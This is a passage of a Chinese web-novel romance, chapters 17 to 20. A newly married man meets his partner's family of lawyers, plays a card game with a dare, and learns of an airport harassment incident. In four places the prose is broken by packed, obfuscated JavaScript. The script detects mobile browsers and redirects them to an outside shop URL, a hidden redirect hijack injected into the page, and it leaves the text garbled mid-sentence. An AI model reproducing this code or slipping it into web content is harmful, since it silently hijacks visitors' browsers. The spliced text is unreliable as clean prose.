l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964990|193042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盏明安排的。 于是他问道:“以前也是您替盏明收拾吗?” 阿姨一边把粥端上餐桌,一边应道:“是的。” “只有您一个人?” 这栋别墅的面积不算小,房间虽然不多,但单个房间面积大,地下一层有影音室、健身房还有游泳池等。 赵阿姨解释道:“不是的,还有其他工作人员会晚些过来,季先生给我加了钱,让有需要的时候过来给您做饭,所以我就来得早了些。” 林云序愣了下,然后笑道:“辛苦了。” 林云序吃完早餐,就去书房开启一天的工作。 因为短暂完成了国外之前安排的事项,他最近倒是能在国内待一阵子。 除了有一次因为要半夜起来开跨国会议,林云序为了不打扰对方,睡的是自己的房间以外,其余时候他们顺其自然的睡在了一起。 也因为他回了国,之前约好和家里其他长辈见面的议程也提了上来。 两人抽了一天时间,朝着林家老宅驶去。 林云序坐在副驾驶上,看着窗外倒退的风景,然后蓦地侧头看向身边正在开车的男人: “有个情况,我得和你提一下。” 季盏明偏头看了他一眼,示意他说。 “今天在的人还挺多的,我叔伯、姑姑,还有他们的孩子大概都在。” “所以?” 季盏明觉得自己好歹还算是见过大场面的人,能被带着见人吧。 “长辈们大概还好,何况我爸妈也在,但是同辈……” 季盏明想了想,他听俞宜凌和林章说过,林云序在林家喻家都很受宠,不只是长辈,那些小辈和他的关系也都很好,极其护短。 感觉不太像很难相处的人。 “首先,他们是一群难搞的律师或法官,其次……”说到这里,林云序叹了一口气,“算了,有事记得找我求救。” 季盏明:“……” 林云序笑道:“我会好好保护你的。” 季盏明轻描淡写道:“那我谢谢你。” “不客气。”林云序欣然回应。 两人一路偶尔闲侃着,到达郊外的别墅。 林云序的爷爷奶奶一退休就退离了繁华的市中心,寻了个山清水秀合适的地方,过过晚年闲云野鹤的生活。 车辆到达门口的时候,外面站着几位年轻的男女,正在轻松地说说笑笑。 林澄第一个看见车辆的驶近,连忙拍了拍身边的哥哥姐姐们:“诶诶诶!来了来了!” 几人下意识循声望去,不知不觉间,之前在家人面前松散的模样渐渐收敛了起来。 常居高位者就算是不刻意威压,甚至脸上还带着笑,也会由内到外散发一种稳定的强大气质。 又常和律法打交道,尽管是礼貌平和的,也会让居心叵测之人心生怯怯。 身形未动,眼神却直直跟随着下了车的两个人。 看着林云序朝他们轻轻眨了下眼睛,几人眼里闪过一丝笑意,又看向和他并肩而行的男人。 直至二人走到面前,年岁最大的林雨臻正要说话,就眼睁睁看到男人当着他们的面,单手揽了下林云序的肩,将他往前带了些。 然后语气温和耐心道:“稳稳,介绍一下?” 众人:“……” 林云序:“……?” 17.第 17 章 这还是林云序第一次听对方叫自己的小名。 他似笑非笑地看了眼身边的男人,到底没有拆他的台。 他朝着众人开口道:“认识一下吧,季盏明,我的新婚对象。” 说完,他朝季盏明一位位示意:“我大伯的女儿,大堂姐林雨臻,堂哥林宇怿……” 每介绍一位,季盏明和对方就会简单地点头示意打个招呼。 林雨臻束着一个低马尾,浅棕色时尚西服套装,看上去干练又优雅。 等介绍完,大家简单的认识后,她才带着笑意开口:“长辈们在里面等着了,我们进去后再聊吧。” 众人说说笑笑着一起走了进去。 林云序垂头忍着笑,手臂就被一旁的人轻轻拍了下。 他偏头看向身边的林雨臻,对方意味深长地看了他一眼。 林云序怎么会看不出来,这几人是有意给一个小小的下马威,看看季盏明这人的处事态度、反应能力和心理素质。 结果没想到被反将了一军。 让林云序来作为中间人介绍,就算是为了林云序,他们的态度怎么都不会差到哪里去。 初次见面有意试探,但不能失了礼仪和气度,否则就是纯刁难找麻烦了。 于是就这样点到为止,众人利落地略过这一茬,面上亲切地迎接客人进门。 经过鲜花繁复的前院,众人进入到主建筑的会客厅内。 室内装潢简约大气,顶级的工艺和具有特色的天然纹理带给人舒展的视觉感受。 室内有不少长辈,或三五成群低声细语地聊着天,或有人相对而坐喝着茶,还有人在角落里拿着电脑工作的。 自成一股独立却又相融合的家庭氛围。 在听到孩子们声音靠近的那一刻,众人不约而同朝着门口望去。 一群装着贵气、气度不凡的长辈站在那,看着再和气,也会让寻常人压力倍增。 但季盏明其实没有什么感受,他很少有紧张的时刻。 虽然得到长辈们认可、让他们开心是这段婚姻的目的之一。 但也正因为他只是个配合林云序达成心愿的合作者,于是心底无比平静,就算众多目光聚集在他的身上,也能面不改色。 正这样想着的时候,垂在身侧的手突然被人牵住。 季盏明偏头看向林云序,青年眉眼温和,朝他笑了下,一边牵着手带他朝里走。 “来,我给你介绍我的家人” 不知道为什么,季盏明突然想到了在车上对方的那句:“我会好好保护你的。” 林云序其实没有别的意思,但他的态度将很大程度影响到他的家人对季盏明的态度。 因为他,对方不得不面对这些场景,那么他就尽力做得好些,不让季盏明为难,希望对方在这里获得一些好的体验与感受。 已经在床上抱着睡过了,牵个手已经是无比顺其自然的小事。 两人的动作太自然,周围有人带着笑意对视了一眼。 林云序将人带到最上首的沙发上的两位老人面前,介绍道:“爷爷奶奶,这是盏明。” “盏明,这是我爷爷奶奶。” 季盏明随着他礼貌称呼:“爷爷奶奶,你们好,我是季盏明。” 两位老人精神矍铄,又从事了多年的法律工作,带着股不怒自威的气势。 但见到林云序的那瞬间,立马就软和了下来,看向季盏明的目光也温和了些。 林奶奶伸出手,季盏明会意,将手放了上去。 老人家笑着拍了拍他的手背:“多齐整的孩子,是像你爷爷年轻的时候。” 季盏明点了点头:“您认识我爷爷?” “因为各种宴席倒是吃过几顿饭,不是很熟,哪能想到还有这样的缘分,以后有机会和我家老头子一起出去钓鱼了。” 季盏明垂头笑了笑:“我会回去转告我爷爷。” 林老爷子开口道:“家里没有那么多规矩,今天过来随心自在就好,一家人好好吃顿饭。” 季盏明应了下来。 林奶奶笑着朝他俩身后示意了一下:“快去认认其他人,都等着呢,对你可好奇了。” 林云序就牵着他一起去和其他人打招呼,没过多久,俞宜凌和林章过来随他们一起。 季盏明突然意识到,这是一种无声的维护和撑腰。 其他长辈虽然没有恶意,但看到这种情况,也会更加注意分寸。 有些话他和林云序作为小辈不方便回答或直言的时候,能护着他们。 面对眼前如此般配的新婚夫夫,每位长辈都不由得都打趣几句,再送上祝福和见面礼。 季盏明本来是抱着完成任务的心态过来,可恍惚间,却蓦地生出一种见家长应有的心态和感受来。 见季盏明游刃有余的和姑姑聊着天,林云序退出社交圈,去茶几上给自己倒了一杯水。 对方本就是一个心有城府的人,社交这回事,从来都不看他能不能,只看想不想。 “不跟在他身边了?” 听到调侃,林云序笑着看向林雨臻,叫了声“姐”。 “我什么时候一直跟在他身边了?” “反正刚刚都没有分开。” “这不是人家第一次来家里,和长辈打招呼我总不能把他晾在一边吧。”林云序笑道:“等会儿你看林澄他们去找他的时候,我还跟不跟。” 年轻人闹性大,林云序估计这群人还没放弃给季盏明埋坑。 但谁坑谁还真不一定,要是他一直不放心地护在人旁边,才是对季盏明的看轻和不信任。 “刚刚我妈都还在夸,说你眼光好,说他成熟稳重、气度不凡,不卑不亢的。” 林云序吃着葡萄垂头笑了下,其实很明显。 一路长辈见下来,再聊几句,他们大概就能有最基本的判断,欣赏是无可避免的事。 何况作为林云序的另一半,他们对他已经天然带上了几分好感。 “我妈还说,他有这样的能力和性子,感觉能护住你。” 林云序顿了下,然后笑道:“我要他护什么?” 林雨臻也笑了:“又不是一定要发生点什么事才需要护,让人在寻常普通的日子里感到安心,就是护了。” 见身边的人没有说话,林雨臻蓦地轻声问道:“就这样结婚了,会遗憾吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970742|193042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >话题陡然的转变让林云序一愣,他偏头对上她温和的目光,缓缓开口:“不遗憾,我觉得现状很好。” “那就好。”林雨臻笑着将剥好的石榴碗搁在他的掌心,“我们稳稳要幸福。” 林云序很慢地眨了一下眼睛,仿若很轻又很重的“嗯”了一声。 聊了会儿天后,林云序下意识回头望了眼,在会客厅梭巡了一圈没看到季盏明的人。 “别看啦!”林澄一屁股坐到他身边,没个正形道,“被爷爷叫去书房写字去了。” 林老爷子站在不远处,看着男人站在书桌前微躬着身,身形仪态优越,不刻意紧绷也不过于松散,浑身自带一股端方君子的气质。 掌竖腕平握着毛笔,掌腕有力却不过于紧实,笔尖带墨落于纸面。 行笔沉稳细腻,线条干净严谨,走势带有锋芒,却又在提笔收尾时徐缓克制地收敛于内。 老爷子心里暗暗点了点头,再看人的时候眼神愈发和缓。 “都说你爷爷的书法一流,你这是跟他学的?” 季盏明点了点头:“自小会握笔以来,就被他老人家手把手带着学过一点,后来因故断了下来,还是十多岁的时候重新拾起来的。” 老爷子笑道:“那也不错,说明是下了狠功夫。” “我有些坏习惯难纠正,下了狠功夫的是我爷爷。” 林老爷子大笑了出来,见人荣辱不惊,楼下的欢声笑语也没能半点分散他的注意力,不由得越发欣赏满意。 直到听到有人叫了声“稳稳”,他的身形才轻微顿了下。 老爷子站在窗边,笑道:“好了,说了没那么正式,过来一起看看他们。” 季盏明将笔搁好,从容不迫地走到老爷子身边,和他一起往下望去。 后院开阔,一群年轻人正在那里比射箭。 林云序拉开弓射出一箭,姿势标准漂亮,动作也利落,然后……一记空发。 林老爷子笑了出来:“稳稳这孩子聪明,学什么都快,但射箭是真的不太行,偏偏他们还喜欢拉着他玩。” 似是不服气,林云序又射了几箭,最好的一发也只落在了靶子的外缘。 最后给自己整出了气性,弓箭一扔,不玩了。 可到底也不是真的生气,人一走开,就跟着身边起哄的人群一起笑了出来,像是也在笑自己的准头怎么能烂成这样啊。 季盏明有些意外,也觉得稀奇。 他从没见过林云序这幅模样,不管是笑还是恼,所有的情绪都给得直白真实,不加掩饰,也没有任何面具。 身边立马有人笑着上去哄他。 老爷子的声音在身侧响起:“是不是好奇,为什么家里不管是长辈还是同辈,也不管是年岁比他大的还是比他小的,都这么宠他护他?” 季盏明回头看了他一眼,对方眼里满是柔软,温和道:“因为心疼。” “我们稳稳啊……” 老爷子嗓音似是长叹,仿若带着无限的怜惜和疼爱。 “小时候实在是可怜乖乖。” 季盏明愣了下,扭头看向楼下正和兄弟姐妹们说笑的青年。 林云序……可怜? 18.第 18 章 季盏明很难把这“可怜”两个字和林云序联系到一起,对方出身优渥,自小受尽宠爱,好像也不是个会让自己受委屈的性子。 林爷爷还没继续说话,林奶奶已经端着茶杯走了进来,恰好听到了他最后的一句话。 “过去多少年了,还说这个。” 她将托盘放到桌面上,朝季盏明笑了笑:“也不是什么秘密,小章……也就是稳稳爸爸,他年轻的时候是刑事诉讼方向,处理过几个糟心案子,恰好那时候凌凌也不容易,大众对她的误解很多,夫妻俩惨一块去了。” “外面的人恨不得从他们一家三口身上撕掉一层血肉下来,稳稳豆丁点大小,生活就多波折,难得安稳,” 林奶奶垂头将糕点往两人的方向送了送,言行举止从容平和。 似是觉得话题有些沉重,她抬头看着季盏明开玩笑道: “那时候真是可怜得紧,一家三口常常一起抱头痛哭。” 说的是陈年往事,叙述言简意赅,语气风轻云淡,像是早已过去。 但对上老太太目光的那一刻,季盏明看到了和林爷爷如出一辙的无限疼惜。 过去的是事情本身,但有些感受永远过不去,那些怜爱也只会随着时间的流淌而愈发深重。 季盏明神色温和地倒好茶端给两位。 过去的事情一定远比对方描述的复杂得多,而他和林云序也没到可以深究对方旧事的程度。 他没有多问,两位长辈也没准备多说。 林老爷子缓缓开口道:“本来不该提,也没必要提的。”他看向季盏明,“但可能你和稳稳认识的时间还没多长,我看得出来你们还没到亲密无间的程度。” “你是个好孩子,你们还要长久的走下去,所以我是想告诉你,因为以前的影响,稳稳这孩子慢热、防备心重。” “可他不是个冷冰冰的人,一旦被他接纳进自己的世界,他会非常非常柔软,如果有耐心、真诚与爱,你会看到那一面,你也同样会感受到他给予你的这些情感。” 季盏明一时之间心绪复杂,他和林云序知道他们的婚姻是怎么回事,可这些嘱托和思量却真诚郑重。 他担心自己的回应给得太轻,承托不起如此厚重的关切。 于是他缓缓垂下眼睑,掩住了目光,认真道: “我会尊重他、支持他,无论遇到了什么事情,始终维护他。” 是维护,不是爱护。 他不知道面前的两位老人会不会注意到这些微妙的区别。 但这些是目前他能给出的最重的承诺,他无法为了回应而随意撒谎。 林奶奶没有深究,温和地拍了拍他的肩背,笑道:“好了,我们下去吧,一直把你扣在这里也不是一回事。” 三人一起朝着书房外走去,一边闲聊。 “稳稳小时候是真的很好逗,见谁都笑,谁让他亲他都亲。谁想亲他,他也愿意,一点脾性也没有。” “后来我们觉得这样不太好,为了纠正他这个习惯头疼了很久。” 季盏明问道:“那是怎么改的?” 林奶奶只想想就不由得带上了笑意:“后来,我们就问他,房子和房子之间隔着门,如果想进入别人的家里,该怎么办?” “他就伸出短短的手指在空中按了按,说‘叮咚,要按门铃’。” “我就说,对啦,人和人之间也有门,别人想亲你或者要你亲他,得先‘叮咚’才能亲的。” 林爷爷接着道:“好消息是,终于不乱亲人,或者随便让人亲了。” “但坏消息是,他养成了另外一个坏习惯。一听到‘叮咚’,就条件反射主动上去亲人,就算是生气,也会气呼呼凑上去亲。家里人总拿这个来逗他。” 季盏明垂头笑了下。 三人一下楼,正好一群年轻人从后院走了进来。 看到爷爷奶奶和季盏明聊天的模样,林云序挑了一下眉:“在说什么?” 季盏明眉眼微垂,看着他:“说你小时候一听到……”说到这里,他顿了下,然后才轻声继续道,“叮咚,你就会亲人。” “那时候小。”听到幼时的往事,林云序出乎意料的坦然,竖起食指在他面前摇了摇:“现在对我可没用了。” 林爷爷调侃道:“现在要还有用,我该让老俞给你看看脑子了。” 周围人笑了出来。 用完午餐后,不出意料,林云序和季盏明就被林澄几人拉进了娱乐室。 林云序偏头轻声道:“等会儿不管是打牌,还是玩别的,估计会给你挖坑。” 毕竟进门的“下马威”没给到,上午对方又在书房和爷爷聊天没有机会,多少还是想着找回场子。 不过林云序倒是不怎么担心,都是有分寸的人,不会真的落人面子。 “喝酒或者各种游戏输了的小惩罚估计是少不了。”林云序小声道,“不准输。” 几乎是命令般的话,让季盏明不由得侧目看了他一眼。 林云序解释道:“你想想你输了,他们会让你干什么?更重要的,会让你和我干什么?” 潜意思——你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16975588|193042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会连累我。 季盏明:“……知道了。” 二十分钟后 林宇怿将牌扣在桌面上,笑眯眯看向林云序:“稳稳,你输了。” 林云序:“……” 季盏明:“……” 林云序清了清嗓子,偏头避开了季盏明的目光。 他们玩的是一种比拼心理战和演技的卡牌桌游,需要互相演戏互相算计,看似合作,背地里又有各自谋划进行暗害,看最后谁得到的筹码最多。 林云序是聪明,可在场的谁又是蠢人? 而且林云序合理怀疑自己被针对了,他们合起伙来欺负他。 林雨臻笑得从容,语气戏谑道:“稳稳,你选真心话或者大冒险吧,完不成就喝酒,代喝得加倍。” 季盏明:“……” 演都不演了。 林云序这下是完全确定了,这就是阳谋。 看似是冲着他来,实则是冲着季盏明。 当然,也没想放过他! 其实他们想对季盏明做什么,是很麻烦的一件事。 一则他们不了解季盏明的风格,真玩起来不一定能赢,当然没有对付林云序来得顺手。 二则自己和季盏明已经领证,所谓的考察已经没有多大意义,做得太直接就会失了分寸,既不尊重他们俩,说不定还会影响他们的关系。 最后,就算季盏明输掉,大概也会选择更简单的真心话或喝酒。 他们今天才认识季盏明,不知道他的过往,问不出什么来,就算问和林云序相关的事,可他们俩感情浓度存疑,容易踩到雷点。 林云序差点没气笑,算来算去,当然还是“曲线救国”对付他从而达到目的来得划算。 他们算准了,有其他人在的地方,对林云序而言,真心话比大冒险难百倍,他不会轻易剖露心事。 他选大冒险,大冒险就会搭上季盏明。 如果选择喝酒,季盏明替他挡酒,那就是季盏明自己做的选择,和他们无关。 要是季盏明没有替他挡酒的意愿,他们自然能看清现状,游戏也会顺势到此为止。 思维缜密,就是一点都没顾他的死活。 想到来之前,他还提醒季盏明小心他的兄弟姐妹们,有事找他求救。 现在他心疼自己,一群混蛋! 林云序扯出一抹笑,看起来风度翩翩,牙关却都咬紧了:“大冒险。” 一群衣冠楚楚的斯文败类带着笑意看向了季盏明。 季盏明眼皮狠狠跳动了一下。 19.第 19 章 “让稳稳现场和人亲一口,是不是过分了些?” 三堂哥打量了一下两人,思忖道。 林云序笑意浅浅:“游戏等会儿还要继续,你最好为你后面做做打算。” “哟!威胁?!”他笑着提高了音调,“你小心律师函啊!” “……” “这样吧……”堂妹开了口,一边从包里拿出一只新口红,“哥,你在盏明哥的喉结上画个牙印就算过关,很简单吧?是不是只有妹妹我疼你?” 季盏明倚着沙发里静静地听着,声色不动:“我有两个问题。” 众人的目光齐齐落在了他的身上,就算他的话不多,也很难让人忽视。 季盏明平静开口道:“我记得输的好像不是我,怎么就变成受惩罚的另一方了?” 堂妹从善如流地改口:“我哥选一个人,在对方喉结上画牙印,可以拒绝,但我哥被拒绝了就得喝酒。” 季盏明点点头:“另一个问题,作为赢的那一方,我是不是也有权决定输家的惩罚任务是什么?我还没同意,怎么就决定下来了?” “没提前说规则啊。”他随手将面前的筹码往前推了把,“论筹码,我是最大的赢家,论少数服从多数……” 他扫了眼面前一群姓林的:“那我质疑规则。” 众人:“……” 林云序偏头忍着笑,他就说季盏明怎么会吃暗亏。 空气一下子就安静了下来,林云序正要说什么,就感觉到自己的背被人轻轻碰了下。 林云序扭头看向身侧的男人,对方弧度很小地仰了一下头,沉静道:“可以了,画吧。” 不仅是在场的其他人瞬间愣住,就连林云序也有些意外。 他还以为对方会趁着占上风将局面击穿,彻底掌握主动权。 季盏明轻轻抬着头,却是垂着眼睑看着林云序。 话是对其他人说的:“我也没有更早提出疑问,希望下局起有更明确的规则。” 林宇怿等人没忍住笑了出来,再次开口时已然带上了更加真实的情绪:“行。” 林云序看着季盏明,缓缓眨了一下眼睛,然后扭头对着堂妹笑道:“非要是牙印吗?” 堂妹摇了摇头:“想画朵花儿都随你。” 本来就是游戏,对方没有过度较真,那她当然不会寸利必得。 林云序看着季盏明规整的西装,又抬眸看了眼对方的脸。 再次垂下目光时,已伸出手给他松了松领带,解开了最顶上的那颗纽扣。 季盏明身形不动,任由着青年的动作。 两人离得近,目光微微敛下就是对方的脸,在暖色暗调的光线里透着一股细腻的润白,睫毛纤长鸦黑,专注时很久都不会动一下。 他察觉到对方一只温凉的手扶在了自己的颈侧借着力。 另一只手轻轻由左下方开始,斜向上穿过凸起的喉结。 那是命门,是过于敏感的地方,饶是季盏明有心理准备,还是下意识滚动了一下。 林云序的手顿住,忍住没抬头看他的神情,继续快速划过。 察觉到线已经画到了尽头,季盏明正要后退,扶在侧颈的手就带上了一点力,将他拉了回来。 “等一下。” 于是季盏明就不再动了,然后感受到对方的手指轻轻擦拭着那条线,像是在将清晰的边缘晕得模糊。 季盏明总觉得时间过去了很久,但等林云序画完退离的时候,他看了眼,发现一分钟都没有。 他也不知道自己喉结那里是什么模样。 但很快就有人问了出来:“稳稳,你画的是什么?” 林云序笑着偏头看了眼,语气轻盈道:“我腰上的疤。” 季盏明顿了下,下意识看向对方被衬衫遮住的腰腹处。 林雨臻也一愣,然后朝其他人戳破道:“狡猾,开始打感情牌了。” 林云序一只手撑着季盏明的肩,另一只手轻轻抬了抬他的下巴,让他们看他那处画痕。 “怎么样,看着这道疤就想起了我的伤,是不是就不忍心欺负他了?” “哦哟!”几人鬼叫了出来。 季盏明蓦地觉得脖颈处泛起细细密密的麻,正要说话,喉结震动的瞬间好似都无比清晰了起来。 林云序及时打断了他们起哄:“好了,开玩笑。” 他扭头对上季盏明的目光,轻笑道:“不是疤,脖子上画疤寓意多难听啊,健健康康的多好。” “画的是太阳初升,这个晕染是太阳光。” 众人仔细看了看对方的侧颈上方,果然发现有个更红的圆点。 颜色最浓最亮的光线斜照过喉结。 分明还是同样的图案,众人只觉得随着寓意的改变,仿佛真的更具有了能量与生气。 季盏明伸手轻轻碰了碰侧颈,没有说话。 游戏继续,接下来彻底正常了起来,再也没有人想着找茬那回事了。 都有输有赢,然后进行一些无伤大雅的小惩罚。 几局之后,卡牌堆在桌面上,大家随意地喝着酒聊着天。 “怎么样?今天过得还好吗?” 林云序和季盏明坐在一起,几乎是用气声在轻言问他。 季盏明用同样轻的声音回道:“挺好的。” 他是真的觉得还不错,社交之所以让人疲惫,只因为没有真心,让人得虚与委蛇、假面相待。 但林云序家的长辈都很慈和,和同辈们相处更是简单。 比起退让和迎合,更需要的是让人服气,季盏明反而可以不用顾忌那么多。 林云序将湿纸巾递给他:“那就好。” 正要继续说什么,突然听到了那边聊天的内容带到了自己的名字。 林云序温声问道:“说我什么呢?” 堂弟开了口:“这不是哥你结婚了吗?他们说下一步估计就得考虑我的婚姻大事了,问我理想型,我说了,哥哥姐姐们又说我要求高。” “我就说,谁的理想型要求高得过你啊。” 堂弟一说完,陡然意识到什么,看了眼季盏明,闭上了嘴。 林云序:“……” 季盏明擦脖子的手一顿,懂了。 看来林云序的理想型和他完全不一样。 林宇怿拍了下堂弟的后脑勺:“那人稳稳不也找到了对象吗?缘分都是说不准的。” 话题顺势转移开,林云序看了眼身边的季盏明,对方神色平静,没有什么变化。 林云序喝了一口水,没有多解释什么。 吃完晚餐后,林云序和季盏明一起回家。 季盏明今天喝了酒,林云序坐在驾驶位上开车。 他突然想到了什么,开口道:“你还记得过几天我会去看季爷爷吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16979477|193042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季盏明反问:“然后?” “然后,我觉得我也得从季爷爷那里听一些你小时候的故事。” 今天季盏明从他家人那里了解到太多了,林云序觉得自己要获得一些信息上的对等。 “那恐怕得让你失望了。” 林云序语调上扬:“哦?看来你小时候很乖,乖到一点糗事都没有?” “在家里总是乖的,后来有不乖的时候,他老人家……看不见。” 林云序一听这话,本该是想调侃对方怎么长辈面前一套背后一套啊。 可对方的嗓音太低了,低到隐匿进周围车辆的鸣笛声里。 他偏头看了眼身边的男人,对方脸上的表情很淡,淡到几乎不存在,以致显得很有距离感。 林云序眉眼轻轻动了动,若无其事地转移了话题。 晚高峰时期,路上有些堵,车辆停停走走,花了一些时间才到家。 两人进入屋子,林云序正要上楼,就被季盏明给叫住了。 林云序转过身,听到了对方的声音: “你有理想型?” “……”林云序没忍住笑了出来,“你刚刚在路上不会有想过这个吧?为什么想知道?” 季盏明当时听到的时候,确实有些意外:“我以为你和我结婚,是和我一样,对爱情毫无兴趣和追求。” 有理想型,说明在心里有过人物画像。 再往前推一点,就是对爱情模式有过期待,那也就是有过恋爱的想法。 林云序听明白了:“所以……你是在做风险评估?觉得我哪一天会萌生想要爱情的想法,从而影响到我们的婚姻?” 男人没有说话,似是默认。 林云序笑了下:“你错了,我们不一样,我是对爱情有着最顶级的追求。” “你见过我家很多长辈,相濡以沫琴瑟和鸣了快一辈子的不在少数,我自小在这样的环境中长大,自然也一直觉得爱情是很美好的存在。” “正因为太过美好,以致我的要求极高,你可以简单理解为,因为高出了阈值,所以世界上大概不存在这样的人。” “我们两个中,一个是不可能拥有,一个是不想拥有,你觉得谁的风险性更大?所以你大可以放心。” 季盏明本来只是想确定对方的稳定性,听到这些话却蓦地好奇了起来。 到底是多高标准的要求,以致他信誓旦旦地说不会存在这样的人。 他少有地追问道:“所以,你的理想型是?” 林云序沉默了下来,他想到自己曾经对堂弟说过的话,在此刻就仿佛是永远不会被选择的真心话,他说不出口。 于是他只是风轻云淡地笑了笑,随口敷衍道:“我说了两个含义完全相反的抽象概念,就比如……我希望一个人能逗我笑,但我也希望他一直闭嘴安静,这两者要同时发生同时存在。” 说完,他自己似乎都觉得有些荒谬,笑着解释道:“当然,这只是个随口举的例子。” 季盏明沉默了会儿,伸手从从茶几上拿出了电视遥控器。 林云序:“?” 这么突然? 他还没来得及反应过来,季盏明已经走到他面前,把遥控器塞进他怀里,朝着楼上走去。 林云序偏头看了一眼正在播放的电视机屏幕,差点没气笑。 季盏明给他放卓别林! 20.第 20 章 林云序在家待了十多天,对他来说,已经是很长的时间。 没过多久,因为工作需要,他再次前往了日内瓦。 高楼之上明净的办公室里,季盏明坐在办公桌前低头翻着有关新兴技术趋势的报告,外面响起一阵敲门声。 “进。” 门被推开,季盏明头也不抬地开口道:“我正要找你说一下具身智能物理交互的进展。” 一个文件夹放在了他手边,崔松源坐在了他办公桌对面的椅子上。 “还工作呢?你老婆都出事了。” 季盏明的手一顿,抬头看向他。 “他在瑞士出什么事?” 林云序已经去瑞士好些天了,时间的跨度足以让季盏明因床边少了一个人觉得哪里都不对,到再次习惯一个人。 “瑞士?”崔松源有些惊讶,“你们是真的半点不联系啊,人在纽约呢,那你应该也不知道他今天回国吧?” 季盏明没有说话,虽然在家躺在一张床上,好似已经很亲密,但只要一分开,他们就会断联系。 两人都没有分享和聊天的习惯,没有重要的事好像也都不会找对方。 他确实不太清楚对方去了日内瓦后,又会碾转哪些城市。 “所以出了什么事?” “你快看热搜吧。” 见对方拿出了手机,崔松源仔细观察了下他的神色。 自己刚刚的态度应该算是不慌不忙吧,说明就不是生死攸关或祸及身体名誉的紧急大事。 他表现得很明显,对方自然也能看得出来。 以季盏明的性子,如果不是有点在意,根本半点都不会关注。 季盏明垂头看着社交平台,很快就找到了相应的词条—— #林云序黑粉 一个非娱乐圈、甚至是非公众领域的从业者,后面却缀着这样的一个词,让人不禁觉得荒谬。 点进去就是一段视频,摇晃的镜头里出现青年修长挺拔的身影,对方戴着口罩和帽子,正推着行李箱行走在机场。 背景充斥着镜头拥有者的辱骂和斥责,对方紧紧跟着林云序,镜头近乎要怼在他的脸上。 “你知不知道我家哥哥拍那部戏多么辛苦?!好不容易剧开播了宣发能被人看见,结果都是你的热搜!” “想出名,你怎么不干脆死在那场地震里,正好青史留名?” “你不知道那栋楼里有监控?不会是你做戏的吧,想红想疯了?” …… 黑粉跟随了3分钟以上,不停不休的谩骂也长达了3分钟。 青年始终一言不发,大步朝前走,帽檐压得很低,和口罩一起遮住了他的脸,也就看不清他是什么神情。 只有偶尔凑太近的镜头能看到对方垂下的漆黑睫毛。 林云序的油盐不进和半点不理睬似乎让那人恼羞成怒,伸手要去摘他的帽子。 青年偏了一下头,朝某个方向示意了一下。 黑粉急切之下掏出了保温杯朝林云序泼去,恰好被紧急赶到的机场工作人员拦住,一人反剪住对方的手,一人护住了林云序。 镜头天旋地转,最后重重摔落在地。 视频戛然而止。 季盏明退出看了下热搜,词条已经从最顶上的热度退后到中间。 崔松源也看到了,开口道:“应该是林云序妈妈那边出手处理了。” 这些年下来,俞宜凌也早已放缓了拍戏节奏,更多转到幕后资本。 这种和娱乐圈有关的事,她的团队能迅速出手处理。 大多数还是正常人,何况林云序的风评向来好,评论里大多是为他鸣不平。 因为涉及到2月份林云序遇到地震的事,相关话题和视频也被重新翻了出来。 季盏明沉默地看了一会儿,然后利落开口道:“话题范围扩展得太大,去处理一下吧。” 崔松源打交道的范围极广,和媒体等社交平台有不少往来。 崔松源有些意外:“所有?正面话题也不留?这对他的形象不是有好处吗?” “只要是对林云序进行聚焦讨论的,都处理掉。” 崔松源打量了一下他:“好几天都没半点联系,我以为凭你们现在的关系,这种林云序自己就有能力轻松解决的事,你不会管。” 季盏明想到自己对林云序爷爷奶奶说过的话。 无论什么事,都会尊重他、支持他,以及维护他。 他没解释什么,看向面前的人:“还坐着干什么?” “服了,你是我爹。”崔松源一边拿起手机打电话,一边走出了他的办公室。 办公室里重新安静了下来,季盏明没立马放下手机。 他点开了和林云序的聊天对话框。 他们上一次的聊天已经过去了好些天,还是林云序在家的时候,让他回家带点水果。 想了会儿,季盏明还是关上了手机。 正要继续工作的时候,电话却突然响起。 他看了眼屏幕,拿起电话点了接通:“妈。” “盏明,网上的事……” 季盏明明白了俞宜凌的来意,简单道:“我让人帮忙处理了,您别担心。” 俞宜凌叹了口气:“辛苦你了,没想麻烦你的。” “没事。” 俞宜凌想了想:“今晚我和你爸爸想接稳稳回……” 季盏明的声音陡然响起:“妈,今晚我去机场接他。” 俞宜凌愣了下。 “稳稳到的时候已经很晚了,既然事情已经解决,你们早点休息,等他休息好后我带他回家吃饭。” 